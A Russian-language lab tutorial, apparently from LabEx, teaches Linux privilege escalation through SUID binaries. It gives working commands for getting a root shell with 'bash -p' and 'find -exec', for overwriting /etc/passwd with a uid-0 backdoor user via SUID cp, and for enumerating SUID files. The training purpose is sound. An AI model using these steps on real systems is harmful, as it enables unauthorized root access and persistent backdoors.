Введение
В этом лабораторном занятии (lab) вы узнаете о разрешении SUID (Set user ID upon execution) и о том, как использовать его для повышения привилегий на системах Linux. Цель состоит в том, чтобы получить доступ с правами root, эксплуатируя бинарные файлы с разрешением SUID различными методами, включая использование команд bash, find, cp и mv.
Понимание SUID
На этом этапе вы познакомитесь с концепцией разрешения SUID и его последствиями.
Обычно, когда программа запускается на Linux, она выполняется с правами текущего пользователя. Однако некоторые программы, такие как cp, требуют повышенных привилегий для выполнения определенных операций, например, копирования файлов в ограниченные директории. Чтобы разрешить обычным пользователям запускать такие программы с повышенными привилегиями, можно установить разрешение SUID на исполняемый файл.
SUID расшифровывается как "Set user ID upon execution" (Установить идентификатор пользователя при выполнении). Когда у файла установлено разрешение SUID, он выполняется с правами его владельца, независимо от того, какой пользователь его запускает. Например, команда cp принадлежит пользователю root и имеет установленный бит SUID, что позволяет любому пользователю запускать ее с правами root.
Чтобы проверить разрешение SUID для команды cp и сохранить вывод в файл, выполните следующую команду:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
Просмотрите содержимое файла suid_cp.txt с помощью следующей команды:
cat /home/labex/project/suid_cp.txt
Ожидаемый вывод:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
Вы должны увидеть букву s в разрядах разрешений, что указывает на наличие разрешения SUID.
Хотя SUID может быть полезным для разрешения обычным пользователям запускать определенные привилегированные команды, он также может быть эксплуатирован, если бинарный файл с SUID предоставляет функциональность для выполнения системных команд или модификации файлов.
Использование SUID с bash
На этом этапе вы узнаете, как эксплуатировать команду bash с разрешением SUID для повышения привилегий.
Сначала откройте терминал и перейдите в директорию
/home/labex/project.cd /home/labex/projectПроверьте разрешения команды
bash.ls -l /bin/bashОжидаемый вывод:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bashЕсли у команды
bashустановлен бит SUID, вы можете использовать ее для выполнения системных команд с правами root с помощью следующей команды:bash -pС помощью команды
whoamiвы можете убедиться, что у вас есть оболочка (shell) с правами root.whoamiОжидаемый вывод:
rootТеперь вы можете создать файл с именем
root.txtв директории/rootи проверить его содержимое.touch /root/root.txtВы должны увидеть файл
root.txtв директории/root.
Использование SUID с find
На этом этапе вы узнаете, как эксплуатировать команду find с разрешением SUID для повышения привилегий.
После предыдущего этапа у вас должна быть оболочка (shell) с правами root. Для этого этапа вам нужно выйти из оболочки с правами root и снова войти как пользователь labex с помощью команды exit или открыв новый терминал.
Сначала перейдите в директорию
/home/labex/project:cd /home/labex/projectПроверьте разрешения команды
find:ls -l /usr/bin/findЕсли у команды
findустановлен бит SUID, вы можете использовать ее для выполнения системных команд с правами root.Синтаксис для выполнения команды с использованием
findвыглядит следующим образом:find < file > -exec < command > \;Здесь
<file>может быть любым файлом. Создадим файл с именемtest:touch testТеперь вы можете выполнять команды с помощью
find:find test -exec whoami \;Это выполнит команду
whoamiс правами root. Однако этот метод неудобен для интерактивных команд, таких какsshилиsu.Чтобы получить более удобную оболочку с правами root, вы можете выполнить команду
/bin/bash:find test -exec /bin/bash -p \;Примечание: Флаг
-pнеобходим для сохранения эффективного идентификатора пользователя (EUID) и предотвращения сброса его в реальный идентификатор пользователя (RUID).Теперь у вас должна быть оболочка с правами root. Создайте файл с именем
root.txtв директории/rootи проверьте его содержимое:touch /root/root.txtВы должны увидеть файл
root.txtв директории/root.
Использование SUID с командами cp и mv
На этом этапе вы узнаете, как эксплуатировать команды cp и mv с разрешением SUID для повышения привилегий путем модификации файла /etc/passwd или /etc/shadow.
После предыдущего этапа у вас должна быть оболочка (shell) с правами root. Для этого этапа вам нужно выйти из оболочки с правами root и снова войти как пользователь labex с помощью команды exit или открыв новый терминал.
Сначала перейдите в директорию
/home/labex/project:cd /home/labex/projectПроверьте разрешения команды
cp:ls -l /bin/cpЕсли у команды
cpустановлен бит SUID, вы можете приступить к эксплуатации.Скопируйте содержимое файла
/etc/passwdв файл в вашей домашней директории:cat /etc/passwd > /home/labex/project/passwdСоздайте новую запись пользователя с следующими данными:
Имя пользователя (Username): hacked
Пароль (Password): pass123
Вставьте следующую строку в конец файла
/home/labex/project/passwd:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
Теперь используйте команду
cpс разрешением SUID для перезаписи файла/etc/passwd:cp /home/labex/project/passwd /etc/passwdПосле перезаписи файла вы можете переключиться на пользователя
hackedс паролемpass123с помощью командыsu:su hacked
Поскольку у пользователя hacked идентификатор пользователя (uid) равен 0, у вас будут права root.
Метод эксплуатации для команды mv аналогичен методу для команды cp. Вы можете попробовать это самостоятельно.
Поиск бинарных файлов с установленным флагом SUID
На этом этапе вы узнаете, как найти бинарные файлы с разрешением SUID на системе, которые потенциально могут быть эксплуатированы для повышения привилегий.
Вы можете использовать следующие команды для вывода списка всех исполняемых файлов с установленным битом SUID:
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;Перейдите в директорию
/home/labex/project, чтобы выполнить следующие шаги.cd /home/labex/projectВыберите любую из команд для вывода списка бинарных файлов с разрешением SUID на системе и проанализируйте вывод.
find / -user root -perm -4000 -print 2> /dev/null > check_results.txtПроверьте содержимое файла
check_results.txt, чтобы просмотреть список бинарных файлов с разрешением SUID на системе.cat check_results.txtОднако в выводе могут быть много файлов, которые нельзя эксплуатировать для повышения привилегий, что требует ручного анализа.
Резюме
В этом практическом занятии (лабораторной работе) вы узнали о разрешении SUID и о том, как использовать различные бинарные файлы с разрешением SUID, такие как bash, find, cp и mv, для повышения привилегий на системах Linux. Вы получили практический опыт в эксплуатации этих бинарных файлов для получения доступа с правами root, что является важным навыком в области кибербезопасности. Практическое занятие предоставило реальную ситуацию и последовательно показало, как эффективно понять и применить эти методы.



